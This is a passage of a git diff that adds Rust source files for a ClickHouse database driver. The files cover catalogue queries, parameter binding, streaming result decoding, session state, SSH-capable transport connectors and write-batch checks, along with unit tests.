of statements, each +//! under a query id of its own, so one whose answer never arrived can +//! be looked up in the server's query log afterwards. + +mod call_client; +mod cancel; +mod capabilities; +mod catalog; +mod cell_seed; +mod clickhouse_type; +mod client_factory; +mod commit_resolution; +mod connection; +mod dialect; +mod driver; +mod editor_run; +mod editor_session; +mod endpoint; +mod errors; +mod http_call; +mod key_expression; +mod line_reader; +mod metadata; +mod param_value; +mod result_reader; +mod row_seed; +mod session_status; +mod stream_read; +mod transport_connector; +mod transport_io; +mod write_batch; +mod write_error_class; + +pub use dialect::ClickHouseDialect; +pub use driver::ClickhouseDriver; diff --git a/linux/crates/drivers/clickhouse/src/line_reader.rs b/linux/crates/drivers/clickhouse/src/line_reader.rs new file mode 100644 index 0000000000..d027d1467d --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/line_reader.rs @@ -0,0 +1,45 @@ +use clickhouse::query::BytesCursor; +use tablepro_core::DriverError; +use tokio::io::AsyncBufReadExt; + +use crate::errors::map_io_error; + +/// A response body read one `\n`-terminated line at a time, so a caller +/// can stop at a row limit without reading the rest of the result. +pub(crate) struct LineReader { + cursor: BytesCursor, + line: Vec, +} + +impl LineReader { + pub(crate) fn new(cursor: BytesCursor) -> Self { + Self { + cursor, + line: Vec::new(), + } + } + + /// The next line, without its terminator, or `None` at the end. + /// + /// Safe to use in `select!`: `read_until` appends to the buffer, so a + /// read cut short keeps what it had and the next call carries on. + pub(crate) async fn next_line(&mut self) -> Result>, DriverError> { + self.cursor + .read_until(b'\n', &mut self.line) + .await + .map_err(map_io_error)?; + if self.line.is_empty() { + return Ok(None); + } + let mut line = std::mem::take(&mut self.line); + if line.last() == Some(&b'\n') { + line.pop(); + } + Ok(Some(line)) + } + + /// The `X-ClickHouse-Summary` the server sent with the headers. + pub(crate) fn written_rows(&self) -> Option { + self.cursor.summary().and_then(clickhouse::QuerySummary::written_rows) + } +} diff --git a/linux/crates/drivers/clickhouse/src/metadata.rs b/linux/crates/drivers/clickhouse/src/metadata.rs new file mode 100644 index 0000000000..229e175236 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/metadata.rs @@ -0,0 +1,95 @@ +use tablepro_core::DriverError; +use tablepro_core::meta::{ObjectInfo, ObjectKind, ObjectScope, SchemaInfo}; + +use crate::call_client::CallClient; +use crate::result_reader::{CatalogRow, read_table}; + +/// The databases the server keeps for itself. +const SYSTEM_DATABASES: [&str; 3] = ["system", "INFORMATION_SCHEMA", "information_schema"]; + +/// Every database, with the session's own as the default. +pub(crate) async fn list_schemas(calls: &CallClient) -> Result, DriverError> { + let sql = "SELECT name, name = currentDatabase() FROM system.databases ORDER BY name"; + let result = read_table(calls.raw(sql), None).await?; + result + .rows + .iter() + .map(|row| { + let row = CatalogRow(row); + let name = row.text(0)?; + Ok(SchemaInfo { + is_system: SYSTEM_DATABASES.contains(&name.as_str()), + is_default: row.flag(1)?, + name, + }) + }) + .collect() +} + +/// Tables, views and dictionaries from `system.tables`, and the SQL +/// functions users defined. A function belongs to the server rather +/// than to a database, so it is listed with no schema, and only where +/// the scope is not one named database. +pub(crate) async fn list_objects( + calls: &CallClient, + scope: &ObjectScope, + default_database: &str, +) -> Result, DriverError> { + let base = "SELECT database, name, engine FROM system.tables WHERE is_temporary = 0"; + let query = match scope { + ObjectScope::DefaultSchema => calls + .raw(&format!("{base} AND database = {{db:String}} ORDER BY name")) + .param("db", default_database), + ObjectScope::Schema(database) => calls + .raw(&format!("{base} AND database = {{db:String}} ORDER BY name")) + .param("db", database.as_str()), + ObjectScope::AllSchemas => calls + .raw(&format!( + "{base} AND database NOT IN {{system:Array(String)}} ORDER BY database, name" + )) + .param("system", SYSTEM_DATABASES), + }; + let mut objects = Vec::new(); + for row in &read_table(query, None).await?.rows { + let row = CatalogRow(row); + objects.push(ObjectInfo { + schema: Some(row.text(0)?), + name: row.text(1)?, + kind: kind_of_engine(&row.text(2)?), + }); + } + if !matches!(scope, ObjectScope::Schema(_)) { + let sql = "SELECT name FROM system.functions WHERE origin = 'SQLUserDefined' ORDER BY name"; + for row in &read_table(calls.raw(sql), None).await?.rows { + objects.push(ObjectInfo { + schema: None, + name: CatalogRow(row).text(0)?, + kind: ObjectKind::Function, + }); + } + } + Ok(objects) +} + +fn kind_of_engine(engine: &str) -> ObjectKind { + match engine { + "View" | "LiveView" | "WindowView" => ObjectKind::View, + "MaterializedView" => ObjectKind::MaterializedView, + "Dictionary" => ObjectKind::Dictionary, + _ => ObjectKind::Table, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn engines_name_the_object_kind() { + assert_eq!(kind_of_engine("MergeTree"), ObjectKind::Table); + assert_eq!(kind_of_engine("ReplacingMergeTree"), ObjectKind::Table); + assert_eq!(kind_of_engine("View"), ObjectKind::View); + assert_eq!(kind_of_engine("MaterializedView"), ObjectKind::MaterializedView); + assert_eq!(kind_of_engine("Dictionary"), ObjectKind::Dictionary); + } +} diff --git a/linux/crates/drivers/clickhouse/src/param_value.rs b/linux/crates/drivers/clickhouse/src/param_value.rs new file mode 100644 index 0000000000..b09352453a --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/param_value.rs @@ -0,0 +1,101 @@ +use serde::Serialize; +use serde::ser::{Error as _, SerializeSeq, Serializer}; +use tablepro_core::Value; +use tablepro_core::statement::BoundParam; +use tablepro_core::value::Temporal; + +/// One bound value in the text form ClickHouse parses a `{pN:Type}` +/// query parameter from. +/// +/// The client escapes what this writes, so a string reaches the server +/// byte for byte, and bytes that are not UTF-8 go as `\xNN` escapes. +pub(crate) struct ParamValue<'a>(pub(crate) &'a Value); + +/// The name a statement's parameter `index` goes by, which is the name +/// the dialect wrote into its `{pN:Type}` marker. +pub(crate) fn param_name(index: usize) -> String { + format!("p{index}") +} + +/// Bind every parameter of a statement to its query, by position. +pub(crate) fn bind_params(mut query: clickhouse::query::Query, params: &[BoundParam]) -> clickhouse::query::Query { + for (index, param) in params.iter().enumerate() { + query = query.param(¶m_name(index), ParamValue(param.value())); + } + query +} + +impl Serialize for ParamValue<'_> { + fn serialize(&self, serializer: S) -> Result { + match self.0 { + Value::Null => serializer.serialize_none(), + Value::Bool(flag) => serializer.serialize_bool(*flag), + Value::Int(int) => serializer.serialize_i64(*int), + Value::UInt(int) => serializer.serialize_u64(*int), + Value::WideInt(int) => serializer.serialize_str(&int.to_string()), + Value::Float32(float) => match float_text(f64::from(*float)) { + Some(text) => serializer.serialize_str(text), + None => serializer.serialize_f32(*float), + }, + Value::Float64(float) => match float_text(*float) { + Some(text) => serializer.serialize_str(text), + None => serializer.serialize_f64(*float), + }, + Value::Decimal(decimal) => serializer.serialize_str(&decimal.to_string()), + Value::Text(text) => serializer.serialize_str(text), + Value::Bytes(bytes) => serializer.serialize_bytes(bytes), + Value::Uuid(uuid) => serializer.serialize_str(&uuid.hyphenated().to_string()), + Value::Json(json) => serializer.serialize_str(json.as_str()), + Value::Date(Temporal::Finite(date)) => serializer.serialize_str(&date.format("%Y-%m-%d").to_string()), + Value::Timestamp(Temporal::Finite(stamp)) => { + serializer.serialize_str(&stamp.format("%Y-%m-%d %H:%M:%S%.f").to_string()) + } + Value::Time(time) => serializer.serialize_str(&time.format(None)), + Value::Array(values) => { + let mut seq = serializer.serialize_seq(Some(values.len()))?; + for value in values { + seq.serialize_element(&ParamValue(value))?; + } + seq.end() + } + Value::Other(other) => serializer.serialize_str(&other.text), + // An infinite date has no ClickHouse spelling, an offset + // timestamp would be read in the column's own zone, and an + // unreadable value must not be written back as a guess. + other => Err(S::Error::custom(format!( + "a {} value has no ClickHouse parameter form", + other.variant_name() + ))), + } + } +} + +/// The words ClickHouse reads for the non-finite floats. +fn float_text(value: f64) -> Option<&'static str> { + if value.is_nan() { + return Some("nan"); + } + if value.is_infinite() { + return Some(if value.is_sign_negative() { "-inf" } else { "inf" }); + } + None +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn non_finite_floats_use_clickhouse_spellings() { + assert_eq!(float_text(f64::NAN), Some("nan")); + assert_eq!(float_text(f64::INFINITY), Some("inf")); + assert_eq!(float_text(f64::NEG_INFINITY), Some("-inf")); + assert_eq!(float_text(1.5), None); + } + + #[test] + fn parameters_are_named_by_position() { + assert_eq!(param_name(0), "p0"); + assert_eq!(param_name(12), "p12"); + } +} diff --git a/linux/crates/drivers/clickhouse/src/result_reader.rs b/linux/crates/drivers/clickhouse/src/result_reader.rs new file mode 100644 index 0000000000..bcc03a232b --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/result_reader.rs @@ -0,0 +1,207 @@ +use std::sync::Arc; + +use clickhouse::query::{BytesCursor, Query}; +use tablepro_core::column::ResultColumn; +use tablepro_core::{DriverError, Value}; + +use crate::cell_seed::CellPlan; +use crate::clickhouse_type::ClickHouseType; +use crate::errors::map_error; +use crate::line_reader::LineReader; +use crate::row_seed::decode_row; + +/// Rows one JSON array per line, after a line of column names and a line +/// of column types. It streams, so a read can stop at a limit, and the +/// types come with the result, so each cell is read by its own type. +pub(crate) const RESULT_FORMAT: &str = "JSONCompactEachRowWithNamesAndTypes"; + +/// What a response body yields next. +#[derive(Debug)] +pub(crate) enum ReadEvent { + Columns(Arc<[ResultColumn]>), + Row(Vec), + End, +} + +/// A response body read as events. The state lives here rather than in +/// the future reading it, so it may be raced against a stop. +pub(crate) struct ResultReader { + lines: LineReader, + names: Option>, + plans: Option>, +} + +impl ResultReader { + pub(crate) fn new(cursor: BytesCursor) -> Self { + Self { + lines: LineReader::new(cursor), + names: None, + plans: None, + } + } + + /// Send the query and read its body as events. + pub(crate) fn open(query: Query) -> Result { + query + .fetch_bytes(RESULT_FORMAT) + .map(Self::new) + .map_err(|error| map_error(&error)) + } + + /// Whether the body began with a result set. A statement without one, + /// such as an INSERT or a CREATE, sends an empty body. + pub(crate) fn has_result_set(&self) -> bool { + self.plans.is_some() + } + + pub(crate) fn written_rows(&self) -> Option { + self.lines.written_rows() + } + + pub(crate) async fn next_event(&mut self) -> Result { + loop { + let Some(line) = self.lines.next_line().await? else { + if self.names.is_some() && self.plans.is_none() { + return Err(DriverError::Protocol("the result ended inside its header".to_owned())); + } + return Ok(ReadEvent::End); + }; + if let Some(plans) = &self.plans { + return decode_row(&line, plans).map(ReadEvent::Row); + } + let header = header_line(&line)?; + let Some(names) = self.names.take() else { + self.names = Some(header); + continue; + }; + if names.len() != header.len() { + return Err(DriverError::Protocol(format!( + "the result named {} columns and typed {}", + names.len(), + header.len() + ))); + } + let (columns, plans): (Vec, Vec) = names + .into_iter() + .zip(&header) + .map(|(name, type_name)| { + let parsed = ClickHouseType::parse(type_name); + (ResultColumn::new(name, parsed.column_type), parsed.plan) + }) + .unzip(); + self.plans = Some(plans); + return Ok(ReadEvent::Columns(columns.into())); + } + } +} + +fn header_line(line: &[u8]) -> Result, DriverError> { + serde_json::from_slice(line) + .map_err(|error| DriverError::Protocol(format!("the result header could not be read: {error}"))) +} + +/// A whole result, for the driver's own catalogue reads and for reads +/// the grid pages through. +#[derive(Debug)] +pub(crate) struct ResultTable { + pub(crate) columns: Arc<[ResultColumn]>, + pub(crate) rows: Vec>, + /// Rows past the limit were there and were not read. + pub(crate) truncated: bool, +} + +/// Read at most `limit` rows, and one more to learn whether the result +/// was cut short. Dropping the rest of the body closes its connection, +/// which with `cancel_http_readonly_queries_on_client_close` stops the +/// read on the server as well. +pub(crate) async fn read_table(query: Query, limit: Option) -> Result { + let mut reader = ResultReader::open(query)?; + let mut columns: Arc<[ResultColumn]> = Arc::from([]); + let mut rows = Vec::new(); + loop { + match reader.next_event().await? { + ReadEvent::Columns(header) => columns = header, + ReadEvent::Row(row) => { + if limit.is_some_and(|limit| u64::try_from(rows.len()).unwrap_or(u64::MAX) >= limit) { + return Ok(ResultTable { + columns, + rows, + truncated: true, + }); + } + rows.push(row); + } + ReadEvent::End => { + return Ok(ResultTable { + columns, + rows, + truncated: false, + }); + } + } + } +} + +/// Run a statement whose rows nobody reads, to its end, and give back +/// the row count the server put in its summary. +pub(crate) async fn drain(query: Query) -> Result, DriverError> { + let mut reader = ResultReader::open(query)?; + while !matches!(reader.next_event().await?, ReadEvent::End) {} + Ok(reader.written_rows()) +} + +/// The cells of a catalogue row, read by position. +pub(crate) struct CatalogRow<'a>(pub(crate) &'a [Value]); + +impl CatalogRow<'_> { + pub(crate) fn text(&self, index: usize) -> Result { + match self.0.get(index) { + Some(Value::Text(text)) => Ok(text.clone()), + Some(Value::Bytes(bytes)) => Ok(String::from_utf8_lossy(bytes).into_owned()), + other => Err(unexpected(index, other)), + } + } + + pub(crate) fn texts(&self, index: usize) -> Result, DriverError> { + match self.0.get(index) { + Some(Value::Array(values)) => values + .iter() + .map(|value| match value { + Value::Text(text) => Ok(text.clone()), + other => Err(unexpected(index, Some(other))), + }) + .collect(), + other => Err(unexpected(index, other)), + } + } + + pub(crate) fn optional_u64(&self, index: usize) -> Result, DriverError> { + match self.0.get(index) { + Some(Value::Null) => Ok(None), + Some(value) => value + .as_exact_u64() + .map(Some) + .ok_or_else(|| unexpected(index, Some(value))), + None => Err(unexpected(index, None)), + } + } + + pub(crate) fn integer(&self, index: usize) -> Result { + match self.0.get(index) { + Some(Value::Int(value)) => i32::try_from(*value).map_err(|_| unexpected(index, self.0.get(index))), + other => Err(unexpected(index, other)), + } + } + + pub(crate) fn flag(&self, index: usize) -> Result { + match self.0.get(index) { + Some(Value::Bool(flag)) => Ok(*flag), + Some(value) => Ok(value.as_exact_u64().ok_or_else(|| unexpected(index, Some(value)))? != 0), + None => Err(unexpected(index, None)), + } + } +} + +fn unexpected(index: usize, value: Option<&Value>) -> DriverError { + DriverError::Protocol(format!("a catalogue column {index} held {value:?}")) +} diff --git a/linux/crates/drivers/clickhouse/src/row_seed.rs b/linux/crates/drivers/clickhouse/src/row_seed.rs new file mode 100644 index 0000000000..c0250ea06f --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/row_seed.rs @@ -0,0 +1,160 @@ +use std::fmt; + +use serde::de::{DeserializeSeed, Deserializer, Error as _, IgnoredAny, SeqAccess, Visitor}; +use tablepro_core::value::{UndecodableReason, UndecodedValue}; +use tablepro_core::{DriverError, Value}; + +use crate::cell_seed::{CellPlan, CellSeed}; + +/// Which cells of a row a pass reads; the rest it skips. +#[derive(Debug, Clone, Copy)] +enum Selection<'a> { + All, + Except(&'a [usize]), + Only(usize), +} + +impl Selection<'_> { + fn reads(self, index: usize) -> bool { + match self { + Self::All => true, + Self::Except(skipped) => !skipped.contains(&index), + Self::Only(only) => only == index, + } + } +} + +/// Reads one `JSONCompactEachRow` line as a row, one cell per plan. +struct RowSeed<'p> { + plans: &'p [CellPlan], + selection: Selection<'p>, +} + +impl<'de> DeserializeSeed<'de> for RowSeed<'_> { + type Value = Vec; + + fn deserialize>(self, deserializer: D) -> Result, D::Error> { + deserializer.deserialize_seq(self) + } +} + +impl<'de> Visitor<'de> for RowSeed<'_> { + type Value = Vec; + + fn expecting(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + write!(formatter, "a row of {} cells", self.plans.len()) + } + + fn visit_seq>(self, mut seq: A) -> Result, A::Error> { + let mut row = Vec::with_capacity(self.plans.len()); + for (index, plan) in self.plans.iter().enumerate() { + let seed = CellSeed { + plan: self.selection.reads(index).then_some(plan), + }; + match seq.next_element_seed(seed)? { + Some(value) => row.push(value), + None => return Err(A::Error::invalid_length(index, &self)), + } + } + if seq.next_element::()?.is_some() { + return Err(A::Error::invalid_length(self.plans.len() + 1, &self)); + } + Ok(row) + } +} + +fn pass(line: &[u8], plans: &[CellPlan], selection: Selection<'_>) -> Result, serde_json::Error> { + let mut deserializer = serde_json::Deserializer::from_slice(line); + let row = RowSeed { plans, selection }.deserialize(&mut deserializer)?; + deserializer.end()?; + Ok(row) +} + +/// One row of a result. +/// +/// A raw JSON token must be UTF-8, so one bad string inside a Map or a +/// Dynamic would lose the whole row. When a line fails, it is read again +/// with those columns skipped, then once per such column on its own: a +/// column that still fails becomes undecodable, and the rest of the row +/// is kept. +pub(crate) fn decode_row(line: &[u8], plans: &[CellPlan]) -> Result, DriverError> { + let first = match pass(line, plans, Selection::All) { + Ok(row) => return Ok(row), + Err(error) => error, + }; + let raw: Vec = plans + .iter() + .enumerate() + .filter(|(_, plan)| plan.uses_raw()) + .map(|(index, _)| index) + .collect(); + if raw.is_empty() { + return Err(unreadable(&first)); + } + let mut row = pass(line, plans, Selection::Except(&raw)).map_err(|error| unreadable(&error))?; + for &index in &raw { + let cell = pass(line, plans, Selection::Only(index)) + .ok() + .and_then(|alone| alone.into_iter().nth(index)); + let value = cell.unwrap_or_else(|| { + Value::Undecodable(Box::new(UndecodedValue { + type_name: plans[index].type_name(), + reason: UndecodableReason::InvalidEncoding, + })) + }); + if let Some(slot) = row.get_mut(index) { + *slot = value; + } + } + Ok(row) +} + +fn unreadable(error: &serde_json::Error) -> DriverError { + DriverError::Protocol(format!("the server sent a row the driver could not read: {error}")) +} + +#[cfg(test)] +mod tests { + use super::*; + + fn dynamic() -> CellPlan { + CellPlan::Raw { + type_name: "Dynamic".to_owned(), + } + } + + #[test] + fn dynamic_column_retry_isolates_invalid_cell() { + let plans = [CellPlan::Integer, dynamic(), CellPlan::Text]; + + let row = decode_row(b"[1,\"\xff\",\"\xfeok\"]", &plans).expect("a row"); + + assert_eq!(row[0], Value::Int(1)); + assert_eq!( + row[1], + Value::Undecodable(Box::new(UndecodedValue { + type_name: "Dynamic".to_owned(), + reason: UndecodableReason::InvalidEncoding, + })) + ); + assert_eq!(row[2], Value::Bytes(vec![0xfe, b'o', b'k'])); + } + + #[test] + fn a_valid_raw_cell_survives_the_retry_of_another() { + let plans = [dynamic(), dynamic()]; + + let row = decode_row(b"[\"ok\",\"\xff\"]", &plans).expect("a row"); + + assert!(matches!(&row[0], Value::Other(other) if other.text == "\"ok\"")); + assert!(matches!(&row[1], Value::Undecodable(_))); + } + + #[test] + fn a_row_of_the_wrong_width_is_a_protocol_error() { + let plans = [CellPlan::Integer, CellPlan::Integer]; + + assert!(matches!(decode_row(b"[1]", &plans), Err(DriverError::Protocol(_)))); + assert!(matches!(decode_row(b"[1,2,3]", &plans), Err(DriverError::Protocol(_)))); + } +} diff --git a/linux/crates/drivers/clickhouse/src/session_status.rs b/linux/crates/drivers/clickhouse/src/session_status.rs new file mode 100644 index 0000000000..7c2aa7b82c --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/session_status.rs @@ -0,0 +1,78 @@ +use std::sync::atomic::{AtomicU8, Ordering}; + +use tablepro_core::{DriverError, EditorSessionState, LossPhase}; + +const READY: u8 = 0; +const RUNNING: u8 = 1; +const LOST: u8 = 2; + +/// What an editor session handle answers without waiting for a run. +#[derive(Debug)] +pub(crate) struct SessionStatus { + state: AtomicU8, +} + +impl SessionStatus { + pub(crate) fn new() -> Self { + Self { + state: AtomicU8::new(READY), + } + } + + pub(crate) fn state(&self) -> EditorSessionState { + match self.state.load(Ordering::SeqCst) { + READY => EditorSessionState::Ready, + RUNNING => EditorSessionState::Running, + _ => EditorSessionState::Lost, + } + } + + /// Claim the session for one run: the server refuses a second query + /// on a session that is still running one. + pub(crate) fn begin(&self) -> Result<(), DriverError> { + match self + .state + .compare_exchange(READY, RUNNING, Ordering::SeqCst, Ordering::SeqCst) + { + Ok(_) => Ok(()), + Err(RUNNING) => Err(DriverError::EditorSessionBusy), + Err(_) => Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }), + } + } + + pub(crate) fn finish(&self) { + let _ = self + .state + .compare_exchange(RUNNING, READY, Ordering::SeqCst, Ordering::SeqCst); + } + + pub(crate) fn lose(&self) { + self.state.store(LOST, Ordering::SeqCst); + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_second_run_is_busy_and_a_lost_session_refuses_runs() { + let status = SessionStatus::new(); + assert!(status.begin().is_ok()); + assert_eq!(status.begin(), Err(DriverError::EditorSessionBusy)); + + status.finish(); + assert_eq!(status.state(), EditorSessionState::Ready); + + status.lose(); + assert!(matches!(status.begin(), Err(DriverError::ConnectionLost { .. }))); + status.finish(); + assert_eq!( + status.state(), + EditorSessionState::Lost, + "a finished run revived a lost session" + ); + } +} diff --git a/linux/crates/drivers/clickhouse/src/stream_read.rs b/linux/crates/drivers/clickhouse/src/stream_read.rs new file mode 100644 index 0000000000..16916100fa --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/stream_read.rs @@ -0,0 +1,79 @@ +use tablepro_core::{DriverError, ReadStatement, ResultEvent, ResultSink, SinkFlow, StreamSummary, Truncation, Value}; + +use crate::call_client::CallClient; +use crate::result_reader::{ReadEvent, ResultReader}; + +const BATCH_ROWS: usize = 256; + +/// Every row of a read, into the sink. The call's client carries +/// `readonly=2`, so user SQL that writes is refused by the server for +/// the read's whole length. +pub(crate) async fn stream( + calls: &CallClient, + read: &ReadStatement, + sink: &mut dyn ResultSink, +) -> Result { + let query = match read { + ReadStatement::Generated(statement) => calls.statement(statement), + ReadStatement::User(sql) => calls.raw(sql.as_str()), + }; + let mut reader = ResultReader::open(query)?; + let mut emitter = Emitter { + sink, + batch: Vec::new(), + rows: 0, + }; + loop { + match reader.next_event().await? { + ReadEvent::Columns(columns) => emitter.send(ResultEvent::ResultSetStarted { columns }).await?, + ReadEvent::Row(row) => emitter.row(row).await?, + ReadEvent::End => break, + } + } + if reader.has_result_set() { + emitter.flush().await?; + let rows = emitter.rows; + emitter + .send(ResultEvent::ResultSetFinished { + retained: rows, + total_rows: Some(rows), + truncation: Truncation::Complete, + }) + .await?; + } + Ok(StreamSummary::new(emitter.rows)) +} + +struct Emitter<'a> { + sink: &'a mut dyn ResultSink, + batch: Vec>, + rows: u64, +} + +impl Emitter<'_> { + async fn row(&mut self, values: Vec) -> Result<(), DriverError> { + self.batch.push(values); + self.rows += 1; + if self.batch.len() >= BATCH_ROWS { + self.flush().await?; + } + Ok(()) + } + + async fn flush(&mut self) -> Result<(), DriverError> { + if self.batch.is_empty() { + return Ok(()); + } + let rows = std::mem::take(&mut self.batch); + self.send(ResultEvent::Rows(rows)).await + } + + /// A consumer that went away ends the read: the rows would go + /// nowhere, and dropping the body stops the read on the server. + async fn send(&mut self, event: ResultEvent) -> Result<(), DriverError> { + match self.sink.accept(event).await { + SinkFlow::Continue => Ok(()), + SinkFlow::ConsumerGone => Err(DriverError::Cancelled), + } + } +} diff --git a/linux/crates/drivers/clickhouse/src/transport_connector.rs b/linux/crates/drivers/clickhouse/src/transport_connector.rs new file mode 100644 index 0000000000..1fc2234fce --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/transport_connector.rs @@ -0,0 +1,127 @@ +use std::future::Future; +use std::pin::Pin; +use std::sync::Arc; +use std::task::{Context, Poll}; +use std::time::Duration; + +use http::Uri; +use hyper_util::rt::TokioIo; +use tablepro_core::{TimeoutPhase, Transport, TransportError}; +use tower_service::Service; + +use crate::transport_io::TransportIo; + +type Connecting = Pin, TransportError>> + Send>>; + +/// hyper's connector, dialling every connection through the target's +/// transport rather than resolving the URL. +/// +/// The URL only names the service for the Host header and the TLS name: +/// the stream comes from `Transport::open`, so the same path serves a +/// direct socket and an SSH forward, and an SSH forward never reaches a +/// DNS lookup of a name only the far side can resolve. +#[derive(Clone)] +pub(crate) struct TransportConnector { + transport: Arc, + connect_timeout: Duration, +} + +impl TransportConnector { + pub(crate) fn new(transport: Arc, connect_timeout: Duration) -> Self { + Self { + transport, + connect_timeout, + } + } +} + +impl Service for TransportConnector { + type Response = TokioIo; + type Error = TransportError; + // Boxed, because hyper-util's `Connect` needs a future that is both + // `Unpin` and `Send`. + type Future = Connecting; + + fn poll_ready(&mut self, _cx: &mut Context<'_>) -> Poll> { + Poll::Ready(Ok(())) + } + + fn call(&mut self, _destination: Uri) -> Self::Future { + let transport = self.transport.clone(); + let bound = self.connect_timeout; + Box::pin(async move { + match tokio::time::timeout(bound, transport.open()).await { + Ok(opened) => opened.map(|stream| TokioIo::new(TransportIo::new(stream))), + Err(_) => Err(TransportError::Timeout { + phase: TimeoutPhase::Connect, + }), + } + }) + } +} + +#[cfg(test)] +mod tests { + use async_trait::async_trait; + use tablepro_core::{NetworkEndpoint, TransportKind, TransportRoute, TransportStream}; + + use super::*; + + #[derive(Debug)] + struct NeverAnswers { + service: NetworkEndpoint, + } + + #[async_trait] + impl Transport for NeverAnswers { + fn service_endpoint(&self) -> &NetworkEndpoint { + &self.service + } + + fn kind(&self) -> TransportKind { + TransportKind::DirectTcp + } + + fn route(&self) -> TransportRoute { + TransportRoute::Tcp(self.service.clone()) + } + + async fn open(&self) -> Result, TransportError> { + std::future::pending().await + } + + async fn reroute(&self, endpoint: NetworkEndpoint) -> Result, TransportError> { + Ok(Arc::new(Self { service: endpoint })) + } + + async fn explain_closed_stream(&self) -> Option { + None + } + } + + fn assert_unpin_send() {} + + #[test] + fn future_is_unpin_send() { + assert_unpin_send::<>::Future>(); + } + + #[tokio::test(start_paused = true)] + async fn timeout_maps_connect_phase() { + let service = NetworkEndpoint::new("db.example.com", 8123).expect("an endpoint"); + let mut connector = TransportConnector::new(Arc::new(NeverAnswers { service }), Duration::from_secs(3)); + + let outcome = connector.call(Uri::from_static("http://db.example.com:8123")).await; + + assert!( + matches!( + outcome, + Err(TransportError::Timeout { + phase: TimeoutPhase::Connect + }) + ), + "a dial that never answered gave {:?}", + outcome.err() + ); + } +} diff --git a/linux/crates/drivers/clickhouse/src/transport_io.rs b/linux/crates/drivers/clickhouse/src/transport_io.rs new file mode 100644 index 0000000000..2c51b0bb07 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/transport_io.rs @@ -0,0 +1,59 @@ +use std::io; +use std::pin::Pin; +use std::task::{Context, Poll}; + +use hyper_util::client::legacy::connect::{Connected, Connection}; +use tablepro_core::TransportStream; +use tokio::io::{AsyncRead, AsyncWrite, ReadBuf}; + +/// A transport stream under a concrete type hyper's pool can hold. +/// +/// hyper-util's client asks every connection it pools for `Connected` +/// metadata, which a boxed trait object cannot provide, so the stream is +/// wrapped once here and the same type serves a TCP socket and the +/// OpenSSH forward's Unix socket alike. +pub(crate) struct TransportIo(Box); + +impl TransportIo { + pub(crate) fn new(stream: Box) -> Self { + Self(stream) + } +} + +impl Connection for TransportIo { + fn connected(&self) -> Connected { + Connected::new() + } +} + +impl AsyncRead for TransportIo { + fn poll_read(mut self: Pin<&mut Self>, cx: &mut Context<'_>, buf: &mut ReadBuf<'_>) -> Poll> { + Pin::new(&mut *self.0).poll_read(cx, buf) + } +} + +impl AsyncWrite for TransportIo { + fn poll_write(mut self: Pin<&mut Self>, cx: &mut Context<'_>, buf: &[u8]) -> Poll> { + Pin::new(&mut *self.0).poll_write(cx, buf) + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Pin::new(&mut *self.0).poll_flush(cx) + } + + fn poll_shutdown(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Pin::new(&mut *self.0).poll_shutdown(cx) + } + + fn poll_write_vectored( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &[io::IoSlice<'_>], + ) -> Poll> { + Pin::new(&mut *self.0).poll_write_vectored(cx, bufs) + } + + fn is_write_vectored(&self) -> bool { + self.0.is_write_vectored() + } +} diff --git a/linux/crates/drivers/clickhouse/src/write_batch.rs b/linux/crates/drivers/clickhouse/src/write_batch.rs new file mode 100644 index 0000000000..c8b33cf2b2 --- /dev/null +++ b/linux/crates/drivers/clickhouse/src/write_batch.rs @@ -0,0 +1,198 @@ +use std::sync::Arc; + +use clickhouse::error::Error as ClickHouseError; +use tablepro_core::statement::{RowGuard, Statement}; +use tablepro_core::{ + CommitToken, DriverError, ReadOnlyRefusal, SessionFate, StopRequest, WriteBatch, WriteLedger, WriteReport, +}; +use uuid::Uuid; + +use crate::call_client::CallClient; +use crate::cancel::{ClickHouseStop, acknowledges_stop}; +use crate::errors::map_error; +use crate::param_value::bind_params; +use crate::result_reader::{RESULT_FORMAT, read_table}; +use crate::write_error_class::{WriteErrorClass, classify}; + +/// Refuse a batch before anything is sent: a read-only connection never +/// writes, ClickHouse cannot suspend foreign keys it does not have, and +/// a mutation reports no row count for an exact guard to check. +pub(crate) fn precheck(batch: &WriteBatch, read_only: bool) -> Result<(), DriverError> { + if read_only { + return Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)); + } + batch.foreign_keys.require_enforced()?; + match batch + .steps + .iter() + .position(|step| matches!(step.guard, RowGuard::AffectedExactly(_))) + { + Some(statement_index) => Err(DriverError::GuardUnsupported { statement_index }), + None => Ok(()), + } +} + +/// Everything one write needs once its task runs. +pub(crate) struct WritePlan { + pub(crate) batch: WriteBatch, + pub(crate) ledger: Arc, + /// Reads that may be stopped, for the probes. + pub(crate) probes: CallClient, + /// Waits for each statement to finish, and never bounds it: a + /// mutation the server gives up waiting on keeps running anyway. + pub(crate) writes: clickhouse::Client, +} + +/// Apply the batch statement by statement. +/// +/// Every probe runs first, so a row that moved stops the save before +/// any mutation is sent. Each statement then carries a query id of its +/// own, kept in the ledger's token, so a statement whose answer never +/// arrived can be looked up in `system.query_log` afterwards. A +/// statement in flight is never stopped: a KILL does not undo a +/// mutation, it only hides what it did. +pub(crate) async fn perform( + plan: &WritePlan, + request: &StopRequest, + stop: &ClickHouseStop, +) -> Result { + let ledger = &plan.ledger; + for (index, step) in plan.batch.steps.iter().enumerate() { + let Some((probe, expected)) = step.guard.probe() else { + continue; + }; + if request.is_requested() { + return Err(ledger.interrupted(stop.interrupted(request), SessionFate::RolledBack)); + } + match count(&plan.probes, probe).await { + Ok(actual) if actual == expected => {} + Ok(actual) => return Err(ledger.guard_failed(index, expected, actual, SessionFate::RolledBack)), + Err(error) if request.is_requested() && 